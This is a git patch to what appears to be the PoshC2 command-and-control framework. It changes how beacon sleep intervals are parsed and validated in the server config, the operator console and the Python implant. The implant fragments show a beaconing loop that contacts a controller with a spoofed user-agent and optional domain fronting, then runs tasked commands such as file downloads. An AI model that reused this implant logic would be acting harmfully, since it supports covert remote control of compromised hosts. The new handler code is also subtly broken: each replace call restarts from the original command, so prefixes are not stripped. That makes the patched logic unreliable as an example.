From 20dd52736768f5a2b390d48f0e143637d92b2622 Mon Sep 17 00:00:00 2001 From: m0rv4i Date: Tue, 12 Feb 2019 21:33:46 +0000 Subject: [PATCH] Setting and viewing beacon time is now consistent across config and implant types - always 50s/10m/1h format --- C2Server.py | 5 +++ Config.py | 2 +- Files/Implant-Core.py | 16 ++++++-- ImplantHandler.py | 86 +++++++++++++++++++++++++------------------ Utils.py | 10 ++++- changelog.txt | 3 ++ 6 files changed, 81 insertions(+), 41 deletions(-) diff --git a/C2Server.py b/C2Server.py index ad47555..62c86e8 100644 --- a/C2Server.py +++ b/C2Server.py @@ -407,6 +407,11 @@ if __name__ == '__main__': os.makedirs("%s/reports" % directory) os.makedirs("%s/payloads" % directory) initializedb() + if not validate_sleep_time(DefaultSleep): + print(Colours.RED) + print("Invalid DefaultSleep in config, please specify a time such as 50s, 10m or 1h") + print(Colours.GREEN) + sys.exit(1) setupserver(HostnameIP,gen_key(),DomainFrontHeader,DefaultSleep,KillDate,HTTPResponse,ROOTDIR,ServerPort,QuickCommand,DownloadURI,"","","",Sounds,APIKEY,MobileNumber,URLS,SocksURLS,Insecure,UserAgent,Referer,APIToken,APIUser,EnableNotifications) rewriteFile = "%s/rewrite-rules.txt" % directory print "Creating Rewrite Rules in: " + rewriteFile diff --git a/Config.py b/Config.py index d31d024..3839033 100644 --- a/Config.py +++ b/Config.py @@ -8,7 +8,7 @@ POSHDIR = "/opt/PoshC2_Python/" ROOTDIR = "/opt/PoshC2_Project/" HostnameIP = "https://192.168.233.1" DomainFrontHeader = "" # example df.azureedge.net -DefaultSleep = "5" +DefaultSleep = "5s" KillDate = "08/06/2019" UserAgent = "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko" urlConfig = UrlConfig("%soldurls.txt" % POSHDIR) # Instantiate UrlConfig object - old urls using a list from a text file diff --git a/Files/Implant-Core.py b/Files/Implant-Core.py index deb3a3c..09a040c 100644 --- a/Files/Implant-Core.py +++ b/Files/Implant-Core.py @@ -1,6 +1,15 @@ import urllib2, os, subprocess, re, datetime, time, base64, string, random + +def parse_sleep_time(sleep): + if sleep.endswith('s'): + return int(sleep.strip('s').strip()) + elif sleep.endswith('m'): + return int(sleep.strip('m').strip()) * 60 + elif sleep.endswith('h'): + return int(sleep.strip('h').strip()) * 60 * 60 + hh = '%s' -timer = %s +timer = parse_sleep_time("%s".strip()) icoimage = [%s] urls = [%s] kd=time.strptime("%s","%%d/%%m/%%Y") @@ -91,7 +100,7 @@ while(True): ua='%s' if hh: req=urllib2.Request(server,headers={'Host':hh,'User-agent':ua}) else: req=urllib2.Request(server,headers={'User-agent':ua}) - res=urllib2.urlopen(req); + res=urllib2.urlopen(req) html = res.read() except Exception as e: E = e @@ -112,7 +121,8 @@ while(True): taskId = split[:5].strip().strip('\x00') cmd = split[5:].strip().strip('\x00') if cmd[:10] == "$sleeptime": - timer = int(cmd.replace("$sleeptime = ","")) + sleep = cmd.replace("$sleeptime = ","").strip() + timer = parse_sleep_time(sleep) elif cmd[:13] == "download-file": fname = cmd.replace("download-file ","") returnval = dfile(fname) diff --git a/ImplantHandler.py b/ImplantHandler.py index 90370e7..cbe5345 100644 --- a/ImplantHandler.py +++ b/ImplantHandler.py @@ -202,8 +202,14 @@ def startup(user, printhelp = ""): from datetime import datetime, timedelta LastSeenTime = datetime.strptime(LastSeen,"%m/%d/%Y %H:%M:%S") now = datetime.now() - nowMinus3Beacons = now - timedelta(seconds=(int(Sleep) * 3)) - nowMinus10Beacons = now - timedelta(seconds=(int(Sleep) * 10)) + if(Sleep.endswith('s')): + sleep_int = int(Sleep[:-1]) + elif(Sleep.endswith('m')): + sleep_int = int(Sleep[:-1]) * 60 + elif(Sleep.endswith('h')): + sleep_int = int(Sleep[:-1]) * 60 * 60 + nowMinus3Beacons = now - timedelta(seconds=(sleep_int * 3)) + nowMinus10Beacons = now - timedelta(seconds=(sleep_int * 10)) sID = "["+str(ID)+"]" if Label == None: sLabel = "" @@ -305,10 +311,16 @@ def startup(user, printhelp = ""): update_item("APIKEY", "C2Server", cmd) startup(user, "Updated set-clockworksmsnumber (Restart C2 Server): %s\r\n" % cmd) if "set-defaultbeacon" in implant_id.lower(): - cmd = (implant_id.lower()).replace("set-defaultbeacon ","") - cmd = cmd.replace("set-defaultbeacon","") - update_item("DefaultSleep", "C2Server", cmd) - startup(user, "Updated set-defaultbeacon (Restart C2 Server): %s\r\n" % cmd) + new_sleep = (implant_id.lower()).replace("set-defaultbeacon ","") + new_sleep = new_sleep.replace("set-defaultbeacon","") + if not validate_sleep_time(new_sleep): + print(Colours.RED) + print("Invalid sleep command, please specify a time such as 50s, 10m or 1h") + print(Colours.GREEN) + else: + update_item("DefaultSleep", "C2Server", new_sleep) + startup(user, "Updated set-defaultbeacon (Restart C2 Server): %s\r\n" % new_sleep) + if "opsec" in implant_id.lower(): implants = get_implants_all() comtasks = get_tasks() @@ -425,25 +437,17 @@ def runcommand(command, randomuri): command = alias[1] if 'beacon' in command.lower() or 'set-beacon' in command.lower() or 'setbeacon' in command.lower(): - command = command.replace('set-beacon ', '') - command = command.replace('setbeacon ', '') - command = command.replace('beacon ', '') - try: - if "s" in command: - command = command.replace('s', '') - if "h" in command: - command = command.replace('h', '') - command = (int(command)) * 60 - command = (int(command)) * 60 - if "m" in command: - command = command.replace('m', '') - command = (int(command)) * 60 - except Exception as e: - print ("Error setting beacon: %s" % e) - - sleep = '$sleeptime = %s' % command - update_sleep(command, randomuri) - new_task(sleep, user, randomuri) + new_sleep = command.replace('set-beacon ', '') + new_sleep = command.replace('setbeacon ', '') + new_sleep = command.replace('beacon ', '') + if not validate_sleep_time(new_sleep): + print(Colours.RED) + print("Invalid sleep command, please specify a time such as 50s, 10m or 1h") + print(Colours.GREEN) + else: + command = '$sleeptime = %s' % new_sleep + new_task(command, user, randomuri) + update_sleep(new_sleep, randomuri) elif (command.lower().startswith('label-implant')): label = command.replace('label-implant ', '') @@ -715,11 +719,18 @@ def runcommand(command, randomuri): startup(user) elif ('beacon' in command.lower() and '-beacon' not in command.lower()) or 'set-beacon' in command.lower() or 'setbeacon' in command.lower(): - new_task(command, user, randomuri) - command = command.replace('set-beacon ', '') - command = command.replace('setbeacon ', '') - command = command.replace('beacon ', '') - update_sleep(command, randomuri) + new_sleep = command.replace('set-beacon ', '') + new_sleep = command.replace('setbeacon ', '') + new_sleep = command.replace('beacon ', '') + if not validate_sleep_time(new_sleep): + print(Colours.RED) + print("Invalid sleep command, please specify a time such as 50s, 10m or 1h") + print(Colours.GREEN) + else: + new_task(command, user, randomuri) + update_sleep(new_sleep, randomuri) + + elif (command.lower().startswith('label-implant')): label = command.replace('label-implant ', '') @@ -759,11 +770,16 @@ def runcommand(command, randomuri): command = command if ('beacon' in command.lower() and '-beacon' not in command.lower()) or 'set-beacon' in command.lower() or 'setbeacon' in command.lower(): - new_task(command, user, randomuri) - command = command.replace('set-beacon ', '') - command = command.replace('setbeacon ', '') - command = command.replace('beacon ', '') - update_sleep(command, randomuri) + new_sleep = command.replace('set-beacon ', '') + new_sleep = command.replace('setbeacon ', '') + new_sleep = command.replace('beacon ', '') + if not validate_sleep_time(new_sleep): + print(Colours.RED) + print("Invalid sleep command, please specify a time such as 50s, 10m or 1h") + print(Colours.GREEN) + else: + new_task(command, user, randomuri) + update_sleep(new_sleep, randomuri) elif (command.lower().startswith('label-implant')): label = command.replace('label-implant ', '') diff --git a/Utils.py b/Utils.py index 74fd220..f617be1 100644 --- a/Utils.py +++ b/Utils.py @@ -1,4 +1,6 @@ -import os, base64, string, random +import os, base64, string, random, re + +validate_sleep_regex = re.compile("^[0-9]*[smh]$") def gen_key(): key = os.urandom(256/8) @@ -31,4 +33,8 @@ def formStr(varstr, instr): return "%s;" % str1 def randomuri(size = 15, chars=string.ascii_letters + string.digits): - return ''.join(random.choice(chars) for _ in range(size)) \ No newline at end of file + return ''.join(random.choice(chars) for _ in range(size)) + +def validate_sleep_time(sleeptime): + sleeptime = sleeptime.strip() + return validate_sleep_regex.match(sleeptime) \ No newline at end of file diff --git a/changelog.txt b/changelog.txt index 40f5212..e86a6a1 100644 --- a/changelog.txt +++ b/changelog.txt @@ -4,6 +4,7 @@ Insert tasks when first picked up by the implant with start time Update task when response returned with output and completed time Log task ID in task sent/received Add ability to set username and associate username to tasks issued +Improved error handling and logging Rename CompletedTasks table to Tasks table Method name refactoring around above changes Pull out implant cores into Implant-Core.py/.cs/.ps1 @@ -21,6 +22,8 @@ Added Testing.md for testing checklist/methodology Fix Get-ScreenshotAllWindows to return correct file extension Fix searchhelp for commands with caps Implant timeout highlighting is now based on beacon time - yellow if it's not checked in for 3x beacon time and red if not checked in for 10x beacon time +Setting and viewing beacon time is now consistent across config and implant types - always 50s/10m/1h format +Added validation for beacon time that it matches the correct format 4.7 (03/02/19) ==============